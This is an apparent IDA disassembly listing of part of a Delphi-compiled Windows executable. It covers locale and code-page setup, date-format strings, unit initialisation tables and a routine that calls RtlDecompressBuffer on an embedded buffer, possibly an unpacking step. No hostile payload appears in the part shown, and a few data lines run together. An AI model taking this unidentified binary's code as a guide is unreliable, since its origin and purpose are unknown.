loc_406130:				; CODE XREF: sub_4060EC+30j
		mov	ecx, edi
		sub	ecx, esi
		and	ecx, 80000001h
		jns	short loc_406141
		dec	ecx
		or	ecx, 0FFFFFFFEh
		inc	ecx


loc_406141:				; CODE XREF: sub_4060EC+4Ej
		test	ecx, ecx
		jnz	short loc_406149
		mov	dl, 2
		jmp	short loc_40615C
; ---------------------------------------------------------------------------


loc_406149:				; CODE XREF: sub_4060EC+57j
		mov	al, [eax+edi]
		and	eax, 0FFh
		bt	ds:dword_4090C8, eax
		jnb	short loc_40615C
		mov	dl, 1


loc_40615C:				; CODE XREF: sub_4060EC+8j
					; sub_4060EC+Ej ...
		mov	eax, edx
		pop	edi
		pop	esi
		retn
sub_4060EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_406164	proc near		; CODE XREF: sub_404498+37p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		cmp	byte ptr ds:dword_40A77C, 0
		jz	short loc_406184
		mov	eax, ebx
		call	sub_402A38
		mov	edx, esi
		dec	edx
		call	sub_4060EC


loc_406184:				; CODE XREF: sub_406164+Fj
		pop	esi
		pop	ebx
		retn
sub_406164	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_406188	proc near		; CODE XREF: sub_404654+1Bp
					; sub_406224+1Cp
		xor	ecx, ecx
		cmp	byte ptr ds:dword_40A77C, 0
		jz	short loc_40619A
		call	sub_4060EC
		mov	ecx, eax


loc_40619A:				; CODE XREF: sub_406188+9j
		mov	eax, ecx
		retn
sub_406188	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4061A0	proc near		; CODE XREF: sub_4061C0+31p
		push	ebx
		mov	ebx, eax
		cmp	byte ptr ds:dword_40A77C, 0
		jz	short loc_4061B6
		push	ebx
		call	sub_403698	; CharNextA
		sub	eax, ebx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4061B6:				; CODE XREF: sub_4061A0+Aj
		mov	eax, 1
		pop	ebx
		retn
sub_4061A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4061C0	proc near		; CODE XREF: sub_405474+D1p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, 1
		cmp	byte ptr ds:dword_40A77C, 0
		jz	short loc_4061F6
		mov	dl, [ebx+esi-1]
		and	edx, 0FFh
		bt	ds:dword_4090C8, edx
		jnb	short loc_4061F6
		mov	eax, ebx
		call	sub_402A38
		add	eax, esi
		dec	eax
		call	sub_4061A0


loc_4061F6:				; CODE XREF: sub_4061C0+12j
					; sub_4061C0+25j
		pop	esi
		pop	ebx
		retn
sub_4061C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4061FC	proc near		; CODE XREF: CODE:00405726p
		push	ebx
		push	esi
		mov	ebx, edx
		mov	edx, ebx
		call	sub_406224
		mov	esi, eax
		test	bl, bl
		jz	short loc_40621F
		test	eax, eax
		jz	short loc_40621F


loc_406211:				; CODE XREF: sub_4061FC+21j
		mov	esi, eax
		inc	eax
		mov	edx, ebx
		call	sub_406224
		test	eax, eax
		jnz	short loc_406211


loc_40621F:				; CODE XREF: sub_4061FC+Fj
					; sub_4061FC+13j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4061FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_406224	proc near		; CODE XREF: sub_4061FC+6p
					; sub_4061FC+1Ap
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_404634
		mov	edi, eax
		test	edi, edi
		jz	short loc_40625E


loc_40623A:				; CODE XREF: sub_406224+38j
		mov	edx, edi
		sub	edx, esi
		mov	eax, esi
		call	sub_406188
		sub	al, 1
		jb	short loc_40625E
		jz	short loc_40624D
		jmp	short loc_40624E
; ---------------------------------------------------------------------------


loc_40624D:				; CODE XREF: sub_406224+25j
		inc	edi


loc_40624E:				; CODE XREF: sub_406224+27j
		inc	edi
		mov	edx, ebx
		mov	eax, edi
		call	sub_404634
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40623A


loc_40625E:				; CODE XREF: sub_406224+14j
					; sub_406224+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_406224	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406264	proc near		; CODE XREF: sub_4062D8+13p

var_C		= dword	ptr -0Ch
var_7		= byte ptr -7

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_C], edx
		xor	edx, edx
		push	ebp
		push	offset loc_4062C8
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	7
		lea	edx, [ebp+var_7]
		push	edx
		push	1004h
		push	eax
		call	sub_403638	; GetLocaleInfoA
		lea	eax, [ebp+var_C]
		lea	edx, [ebp+var_7]
		mov	ecx, 7
		call	sub_402814
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_403610	; GetACP
		mov	edx, eax
		pop	eax
		call	sub_4043F0
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4062CF


loc_4062BF:				; CODE XREF: sub_406264+69j
		lea	eax, [ebp+var_C]
		call	sub_4025C8
		retn
; ---------------------------------------------------------------------------


loc_4062C8:				; DATA XREF: sub_406264+Fo
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_4062BF
; ---------------------------------------------------------------------------


loc_4062CF:				; CODE XREF: sub_406264+63j
					; DATA XREF: sub_406264+56o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_406264	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4062D8	proc near		; CODE XREF: sub_406350+93p
					; sub_406350+145p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		add	edi, 0FFFFFFECh
		push	edi
		mov	eax, ds:dword_40A770
		call	sub_406264
		push	eax
		call	sub_403618	; GetCPInfo
		xor	esi, esi
		jmp	short loc_406323
; ---------------------------------------------------------------------------


loc_4062FA:				; CODE XREF: sub_4062D8+58j
		mov	al, [edi+esi+6]
		mov	bl, [edi+esi+7]
		sub	bl, al
		jb	short loc_406320
		inc	ebx
		mov	[ebp+var_1], al


loc_40630A:				; CODE XREF: sub_4062D8+46j
		mov	al, [ebp+var_1]
		and	eax, 0FFh
		bts	ds:dword_4090C8, eax
		inc	[ebp+var_1]
		dec	bl
		jnz	short loc_40630A


loc_406320:				; CODE XREF: sub_4062D8+2Cj
		add	esi, 2


loc_406323:				; CODE XREF: sub_4062D8+20j
		cmp	esi, 0Ch
		jge	short loc_406332
		mov	al, [edi+esi+6]
		or	al, [edi+esi+7]
		jnz	short loc_4062FA


loc_406332:				; CODE XREF: sub_4062D8+4Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4062D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_406338	proc near		; CODE XREF: sub_406350+76p
		mov	eax, ds:dword_40A774
		cmp	eax, 1Fh
		ja	short loc_406349
		bt	ds:dword_409290, eax


loc_406349:				; CODE XREF: sub_406338+8j
		setb	al
		retn
sub_406338	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406350	proc near		; CODE XREF: sub_4064C4+1Ep

var_196		= byte ptr -196h
var_94		= byte ptr -94h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE68h
		push	ebx
		push	esi
		push	edi
		mov	ds:dword_40A770, 409h
		mov	ds:dword_40A774, 9
		mov	ds:dword_40A778, 1
		call	sub_403668	; GetThreadLocale
		test	eax, eax
		jz	short loc_406388
		mov	ds:dword_40A770, eax


loc_406388:				; CODE XREF: sub_406350+31j
		test	ax, ax
		jz	short loc_4063A8
		mov	edx, eax
		and	dx, 3FFh
		movzx	edx, dx
		mov	ds:dword_40A774, edx
		movzx	eax, ax
		shr	eax, 0Ah
		mov	ds:dword_40A778, eax


loc_4063A8:				; CODE XREF: sub_406350+3Bj
		mov	esi, offset dword_4064A4
		mov	edi, offset dword_4090C8
		mov	ecx, 8
		rep movsd
		cmp	ds:dword_4090B4, 2
		jnz	loc_40646D
		call	sub_406338
		test	al, al
		jz	short loc_4063E2
		mov	byte ptr ds:dword_40A77C+1, 0
		mov	byte ptr ds:dword_40A77C, 0
		jmp	loc_40649B
; ---------------------------------------------------------------------------


loc_4063E2:				; CODE XREF: sub_406350+7Dj
		push	ebp
		call	sub_4062D8
		pop	ecx
		mov	eax, offset dword_4090C8
		mov	edx, offset dword_4064A4
		mov	cl, 20h
		call	sub_401BEC
		setnz	bl
		mov	byte ptr ds:dword_40A77C, bl
		test	bl, bl
		jz	short loc_406413
		mov	byte ptr ds:dword_40A77C+1, 0
		jmp	loc_40649B
; ---------------------------------------------------------------------------


loc_406413:				; CODE XREF: sub_406350+B5j
		mov	eax, 80h
		lea	edx, [ebp+var_94]


loc_40641E:				; CODE XREF: sub_406350+D7j
		mov	[edx], al
		inc	eax
		inc	edx
		cmp	eax, 100h
		jnz	short loc_40641E
		lea	eax, [ebp+var_94]
		lea	edx, [ebp+var_196]
		push	edx
		push	80h
		push	eax
		push	2
		mov	eax, ds:dword_40A770
		push	eax
		call	sub_403660	; GetStringTypeExA
		mov	eax, 80h
		lea	edx, [ebp+var_196]


loc_406454:				; CODE XREF: sub_406350+119j
		cmp	word ptr [edx],	2
		setz	cl
		mov	byte ptr ds:dword_40A77C+1, cl
		test	cl, cl
		jnz	short loc_40649B
		add	edx, 2
		dec	eax
		jnz	short loc_406454
		jmp	short loc_40649B
; ---------------------------------------------------------------------------


loc_40646D:				; CODE XREF: sub_406350+70j
		push	4Ah
		call	sub_4036A0	; GetSystemMetrics
		test	eax, eax
		setnz	al
		mov	byte ptr ds:dword_40A77C+1, al
		push	2Ah
		call	sub_4036A0	; GetSystemMetrics
		test	eax, eax
		setnz	bl
		mov	byte ptr ds:dword_40A77C, bl
		test	bl, bl
		jz	short loc_40649B
		push	ebp
		call	sub_4062D8
		pop	ecx


loc_40649B:				; CODE XREF: sub_406350+8Dj
					; sub_406350+BEj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_406350	endp

; ---------------------------------------------------------------------------
		align 4
dword_4064A4	dd 8 dup(0)						; sub_406350+9Eo

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4064C4	proc near		; CODE XREF: sub_406D18+55p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 8


loc_4064CC:				; CODE XREF: sub_4064C4+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_4064CC
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_40678F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_406350
		call	sub_4051EC
		cmp	byte ptr ds:dword_40A77C, 0
		jz	short loc_4064FA
		call	sub_4053C4


loc_4064FA:				; CODE XREF: sub_4064C4+2Fj
		call	sub_403668	; GetThreadLocale
		mov	ebx, eax
		lea	eax, [ebp+var_10]
		push	eax
		xor	ecx, ecx
		mov	edx, 14h
		mov	eax, ebx
		call	sub_40513C
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_40A6B0
		call	sub_40261C
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, offset dword_4067A4
		mov	edx, 1Bh
		mov	eax, ebx
		call	sub_40513C
		mov	eax, [ebp+var_14]
		xor	edx, edx
		call	sub_4043F0
		mov	ds:byte_40A6B4,	al
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, offset dword_4067A4
		mov	edx, 1Ch
		mov	eax, ebx
		call	sub_40513C
		mov	eax, [ebp+var_18]
		xor	edx, edx
		call	sub_4043F0
		mov	ds:byte_40A6B5,	al
		mov	cl, 2Ch
		mov	edx, 0Fh
		mov	eax, ebx
		call	sub_405188
		mov	ds:byte_40A6B6,	al
		mov	cl, 2Eh
		mov	edx, 0Eh
		mov	eax, ebx
		call	sub_405188
		mov	ds:byte_40A6B7,	al
		lea	eax, [ebp+var_1C]
		push	eax
		mov	ecx, offset dword_4067A4
		mov	edx, 19h
		mov	eax, ebx
		call	sub_40513C
		mov	eax, [ebp+var_1C]
		xor	edx, edx
		call	sub_4043F0
		mov	ds:byte_40A6B8,	al
		mov	cl, 2Fh
		mov	edx, 1Dh
		mov	eax, ebx
		call	sub_405188
		mov	ds:byte_40A6B9,	al
		lea	eax, [ebp+var_24]
		push	eax
		mov	ecx, offset dword_4067B0
		mov	edx, 1Fh
		mov	eax, ebx
		call	sub_40513C
		mov	eax, [ebp+var_24]
		lea	edx, [ebp+var_20]
		call	sub_405474
		mov	edx, [ebp+var_20]
		mov	eax, offset dword_40A6BC
		call	sub_40261C
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, offset dword_4067C0
		mov	edx, 20h
		mov	eax, ebx
		call	sub_40513C
		mov	eax, [ebp+var_2C]
		lea	edx, [ebp+var_28]
		call	sub_405474
		mov	edx, [ebp+var_28]
		mov	eax, offset dword_40A6C0
		call	sub_40261C
		mov	cl, 3Ah
		mov	edx, 1Eh
		mov	eax, ebx
		call	sub_405188
		mov	ds:byte_40A6C4,	al
		lea	eax, [ebp+var_30]
		push	eax
		mov	ecx, offset dword_4067D8
		mov	edx, 28h
		mov	eax, ebx
		call	sub_40513C
		mov	edx, [ebp+var_30]
		mov	eax, offset dword_40A6C8
		call	sub_40261C
		lea	eax, [ebp+var_34]
		push	eax
		mov	ecx, offset dword_4067E4
		mov	edx, 29h
		mov	eax, ebx
		call	sub_40513C
		mov	edx, [ebp+var_34]
		mov	eax, offset dword_40A6CC
		call	sub_40261C
		lea	eax, [ebp+var_8]
		call	sub_4025C8
		lea	eax, [ebp+var_C]
		call	sub_4025C8
		lea	eax, [ebp+var_38]
		push	eax
		mov	ecx, offset dword_4067A4
		mov	edx, 25h
		mov	eax, ebx
		call	sub_40513C
		mov	eax, [ebp+var_38]
		xor	edx, edx
		call	sub_4043F0
		test	eax, eax
		jnz	short loc_4066B8
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_4067F0
		call	sub_402660
		jmp	short loc_4066C5
; ---------------------------------------------------------------------------


loc_4066B8:				; CODE XREF: sub_4064C4+1E3j
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_4067FC
		call	sub_402660


loc_4066C5:				; CODE XREF: sub_4064C4+1F2j
		lea	eax, [ebp+var_3C]
		push	eax
		mov	ecx, offset dword_4067A4
		mov	edx, 23h
		mov	eax, ebx
		call	sub_40513C
		mov	eax, [ebp+var_3C]
		xor	edx, edx
		call	sub_4043F0
		test	eax, eax
		jnz	short loc_406727
		lea	eax, [ebp+var_40]
		push	eax
		mov	ecx, offset dword_4067A4
		mov	edx, 1005h
		mov	eax, ebx
		call	sub_40513C
		mov	eax, [ebp+var_40]
		xor	edx, edx
		call	sub_4043F0
		test	eax, eax
		jnz	short loc_40671A
		lea	eax, [ebp+var_C]
		mov	edx, offset dword_406808
		call	sub_402660
		jmp	short loc_406727
; ---------------------------------------------------------------------------


loc_40671A:				; CODE XREF: sub_4064C4+245j
		lea	eax, [ebp+var_8]
		mov	edx, offset dword_406818
		call	sub_402660


loc_406727:				; CODE XREF: sub_4064C4+222j
					; sub_4064C4+254j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset dword_406828
		push	[ebp+var_C]
		mov	eax, offset dword_40A6D0
		mov	edx, 4
		call	sub_402900
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset dword_406834
		push	[ebp+var_C]
		mov	eax, offset dword_40A6D4
		mov	edx, 4
		call	sub_402900
		mov	cl, 2Ch
		mov	edx, 0Ch
		mov	eax, ebx
		call	sub_405188
		mov	byte ptr ds:dword_40A77C+2, al
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_406796


loc_406781:				; CODE XREF: sub_4064C4+2D0j
		lea	eax, [ebp+var_40]
		mov	edx, 10h
		call	sub_4025EC
		retn
; ---------------------------------------------------------------------------


loc_40678F:				; DATA XREF: sub_4064C4+13o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_406781
; ---------------------------------------------------------------------------


loc_406796:				; CODE XREF: sub_4064C4+2CAj
					; DATA XREF: sub_4064C4+2B8o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4064C4	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_4067A4	dd 30h,	0FFFFFFFFh, 6					; sub_4064C4+84o ...
dword_4067B0	dd 2F642F6Dh, 7979h, 0FFFFFFFFh, 0Chdword_4067C0	dd 6D6D6D6Dh, 202C6420h, 79797979h, 0		dd 0FFFFFFFFh, 2
dword_4067D8	dd 6D61h, 0FFFFFFFFh, 2dword_4067E4	dd 6D70h, 0FFFFFFFFh, 1dword_4067F0	dd 68h,	0FFFFFFFFh, 2dword_4067FC	dd 6868h, 0FFFFFFFFh, 5dword_406808	dd 504D4120h, 4Dh, 0FFFFFFFFh, 5dword_406818	dd 4D504D41h, 20h, 0FFFFFFFFh, 3dword_406828	dd 6D6D3Ah, 0FFFFFFFFh,	6dword_406834	dd 3A6D6D3Ah, 7373h
; =============== S U B	R O U T	I N E =======================================



sub_40683C	proc near		; CODE XREF: sub_406B98+27p
		push	ebx
		mov	ebx, offset dword_409294
		jmp	short loc_406854
; ---------------------------------------------------------------------------


loc_406844:				; CODE XREF: sub_40683C+1Bj
		mov	eax, [ebx]
		mov	edx, [eax]
		mov	[ebx], edx
		mov	edx, 8
		call	sub_401218


loc_406854:				; CODE XREF: sub_40683C+6j
		cmp	dword ptr [ebx], 0
		jnz	short loc_406844
		pop	ebx
		retn
sub_40683C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40685C	proc near		; CODE XREF: sub_406D18+50p
		push	ebx
		push	offset dword_406894
		call	sub_403648	; GetModuleHandleA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40687D
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	ebx
		call	sub_403650	; GetProcAddress
		mov	ds:dword_4090EC, eax


loc_40687D:				; CODE XREF: sub_40685C+Fj
		cmp	ds:dword_4090EC, 0
		jnz	short loc_406890
		mov	eax, offset sub_404520
		mov	ds:dword_4090EC, eax


loc_406890:				; CODE XREF: sub_40685C+28j
		pop	ebx
		retn
sub_40685C	endp

; ---------------------------------------------------------------------------
		align 4
dword_406894	dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40685C+11o

; =============== S U B	R O U T	I N E =======================================



sub_4068B8	proc near		; CODE XREF: sub_406B98+22p
		mov	edx, [eax]
		xor	ecx, ecx
		mov	[eax], ecx
		mov	eax, edx
		call	sub_401F50
		retn
sub_4068B8	endp

; ---------------------------------------------------------------------------
		align 4
dword_4068C8	dd 1Dh				dd offset dword_40928C
		dd offset off_4093A4
		dd offset dword_409284
		dd offset off_409360
		dd offset dword_40927C
		dd offset off_4092D8
		dd offset dword_409274
		dd offset off_4093B4
		dd offset dword_40926C
		dd offset off_4093C8
		dd offset dword_409264
		dd offset off_409328
		dd offset dword_40925C
		dd offset off_409358
		dd offset dword_409254
		dd offset off_4092BC
		dd offset dword_40924C
		dd offset off_409368
		dd offset dword_409244
		dd offset off_409374
		dd offset dword_40923C
		dd offset off_409340
		dd offset dword_409234
		dd offset off_409344
		dd offset dword_40922C
		dd offset off_4093EC
		dd offset dword_409224
		dd offset off_4093E4
		dd offset dword_40921C
		dd offset off_409408
		dd offset dword_409214
		dd offset off_409398
		dd offset dword_40920C
		dd offset off_409388
		dd offset dword_409204
		dd offset off_40940C
		dd offset dword_4091FC
		dd offset off_4093FC
		dd offset dword_4091F4
		dd offset off_409350
		dd offset dword_4091EC
		dd offset off_4093F0
		dd offset dword_4091E4
		dd offset off_4093F4
		dd offset dword_4091DC
		dd offset off_409310
		dd offset dword_4091D4
		dd offset off_4092EC
		dd offset dword_4091CC
		dd offset off_409384
		dd offset dword_4091C4
		dd offset off_4093B0
		dd offset dword_4091BC
		dd offset off_4092C0
		dd offset dword_4091B4
		dd offset off_4093E8
		dd offset dword_4091AC
		dd offset off_40934C
dword_4069B4	dd 28h				dd offset off_4091A4
		dd offset off_4093DC
		dd 0
		dd offset off_4091A0
		dd offset off_4092DC
		align 10h
		dd offset off_40919C
		dd offset off_4093AC
		dd 0
		dd offset off_409198
		dd offset off_4092CC
		align 8
		dd offset off_409194
		dd offset off_4092F8
		dd 0
		dd offset off_409190
		dd offset off_4092F0
		align 10h
		dd offset off_40918C
		dd offset off_4092E4
		dd 0
		dd offset off_409188
		dd offset off_409348
		align 8
		dd offset off_409184
		dd offset off_409394
		dd 0
		dd offset off_409180
		dd offset off_4092F4
		align 10h
		dd offset off_40917C
		dd offset off_409380
		dd 0
		dd offset off_409178
		dd offset off_4093C4
		align 8
		dd offset off_409174
		dd offset off_4093BC
		dd 0
		dd offset off_409170
		dd offset off_40939C
		align 10h
		dd offset off_40916C
		dd offset off_40933C
		dd 0
		dd offset off_409168
		dd offset off_409324
		align 8
		dd offset off_409164
		dd offset off_4092C8
		dd 0
		dd offset off_409160
		dd offset off_4093B8
		align 10h
		dd offset off_40915C
		dd offset off_409370
		dd 0
		dd offset off_409158
		dd offset off_40931C
		align 8
		dd offset off_409154
		dd offset off_409364
		dd 0
		dd offset off_409150
		dd offset off_40938C
		align 10h
		dd offset off_40914C
		dd offset off_40936C
		dd 0
		dd offset off_409148
		dd offset off_409330
		align 8
		dd offset off_409144
		dd offset off_4092C4
		dd 0
		dd offset off_409140
		dd offset off_40935C
		align 10h
		dd offset off_40913C
		dd offset off_4093F8
		dd 0
		dd offset off_409138
		dd offset off_4093D8
		align 8
		dd offset off_409134
		dd offset off_40937C
		dd 0
		dd offset off_409130
		dd offset off_40930C
		align 10h
		dd offset off_40912C
		dd offset off_4092D0
		dd 0
		dd offset off_409128
		dd offset off_4093D0
		align 8
		dd offset off_409124
		dd offset off_409414
		dd 0
		dd offset off_409120
		dd offset off_4092E8
		align 10h
		dd offset off_40911C
		dd offset off_4092B8
		dd 0
		dd offset off_409118
		dd offset off_4093E0
		align 8
		dd offset off_409114
		dd offset off_409378
		dd 0
		dd offset off_409110
		dd offset off_409400
		align 10h
		dd offset off_4090FC
		dd offset off_409354
		dd 0
		dd offset off_4090F8
		dd offset off_409314
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B98	proc near		; DATA XREF: CODE:00407B5Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_406D0D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40A7C0
		jnz	loc_406CFF
		mov	eax, offset dword_40A7CC
		call	sub_4068B8
		call	sub_40683C
		call	sub_406028
		mov	eax, offset off_4091E0
		mov	ecx, 16h
		mov	edx, off_405B00
		call	sub_402C70
		mov	eax, offset dword_4091A8
		mov	ecx, 7
		mov	edx, off_405A80
		call	sub_402C70
		mov	eax, offset off_4090F0
		mov	ecx, 2
		mov	edx, off_401000
		call	sub_402C70
		mov	eax, offset off_4090E8
		call	sub_4025C8
		mov	eax, offset dword_40A7BC
		mov	edx, off_40439C
		call	sub_402E80
		mov	eax, offset dword_40A7B8
		mov	edx, off_404378
		call	sub_402E80
		mov	eax, offset dword_40A780
		mov	ecx, 7
		mov	edx, off_401000
		call	sub_402C70
		mov	eax, offset dword_40A754
		mov	ecx, 7
		mov	edx, off_401000
		call	sub_402C70
		mov	eax, offset dword_40A738
		mov	ecx, 7
		mov	edx, off_401000
		call	sub_402C70
		mov	eax, offset dword_40A708
		mov	ecx, 0Ch
		mov	edx, off_401000
		call	sub_402C70
		mov	eax, offset dword_40A6D8
		mov	ecx, 0Ch
		mov	edx, off_401000
		call	sub_402C70
		mov	eax, offset dword_40A6D4
		call	sub_4025C8
		mov	eax, offset dword_40A6D0
		call	sub_4025C8
		mov	eax, offset dword_40A6CC
		call	sub_4025C8
		mov	eax, offset dword_40A6C8
		call	sub_4025C8
		mov	eax, offset dword_40A6C0
		call	sub_4025C8
		mov	eax, offset dword_40A6BC
		call	sub_4025C8
		mov	eax, offset dword_40A6B0
		call	sub_4025C8
		mov	eax, offset dword_4090C4
		call	sub_4025C8
		mov	eax, offset dword_4090B0
		call	sub_402C24
		mov	eax, offset dword_4090AC
		call	sub_4025C8


loc_406CFF:				; CODE XREF: sub_406B98+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_406D14


loc_406D0C:				; CODE XREF: sub_406B98+17Aj
		retn
; ---------------------------------------------------------------------------


loc_406D0D:				; DATA XREF: sub_406B98+6o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_406D0C
; ---------------------------------------------------------------------------


loc_406D14:				; CODE XREF: sub_406B98:loc_406D0Cj
					; DATA XREF: sub_406B98+16Fo
		pop	ebp
		retn
sub_406B98	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D18	proc near		; DATA XREF: CODE:00407B58o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_406D80
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		sub	ds:dword_40A7C0, 1
		jnb	short loc_406D72
		mov	eax, offset dword_4068C8
		call	sub_402464
		mov	eax, offset dword_4069B4
		call	sub_40248C
		cmp	ds:byte_40A689,	0
		jz	short loc_406D5E
		mov	eax, offset off_4090E8
		mov	edx, offset dword_406D94
		call	sub_40261C


loc_406D5E:				; CODE XREF: sub_406D18+35j
		call	sub_405FA4
		call	sub_406094
		call	sub_40685C
		call	sub_4064C4


loc_406D72:				; CODE XREF: sub_406D18+18j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_406D87


loc_406D7F:				; CODE XREF: sub_406D18+6Dj
		retn
; ---------------------------------------------------------------------------


loc_406D80:				; DATA XREF: sub_406D18+6o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_406D7F
; ---------------------------------------------------------------------------


loc_406D87:				; CODE XREF: sub_406D18:loc_406D7Fj
					; DATA XREF: sub_406D18+62o
		pop	ebp
		retn
sub_406D18	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_406D94	dd 7830h	
; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D98	proc near		; CODE XREF: sub_406DAC+7Fp
		jmp	ds:dword_40B210
sub_406D98	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406DA0	proc near		; CODE XREF: sub_406DAC+25p
					; sub_406E6C+31p ...
		test	eax, eax
		jz	short locret_406DA9
		sub	eax, 4
		mov	eax, [eax]

locret_406DA9:				; CODE XREF: sub_406DA0+2j
		retn
sub_406DA0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406DAC	proc near		; CODE XREF: CODE:00407D0Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_402A28
		xor	eax, eax
		push	ebp
		push	offset loc_406E59
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_4]
		call	sub_406DA0
		mov	ebx, eax
		cmp	ebx, 4
		jbe	short loc_406E3C
		lea	eax, [ebp+arg_4]
		call	sub_402A8C
		mov	edi, eax
		mov	edx, [edi]
		mov	eax, esi
		call	sub_402BC0
		cmp	dword ptr [edi], 80000h
		jbe	short loc_406E01
		mov	[ebp+var_8], 2
		jmp	short loc_406E08
; ---------------------------------------------------------------------------


loc_406E01:				; CODE XREF: sub_406DAC+4Aj
		mov	[ebp+var_8], 102h


loc_406E08:				; CODE XREF: sub_406DAC+53j
		lea	eax, [ebp+var_4]
		push	eax
		sub	ebx, 4
		push	ebx
		lea	eax, [ebp+arg_4]
		call	sub_402A8C
		add	eax, 4
		push	eax
		mov	eax, [edi]
		push	eax
		mov	eax, esi
		call	sub_402A8C
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_406D98	; RtlDecompressBuffer
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_402BC0
		jmp	short loc_406E43
; ---------------------------------------------------------------------------


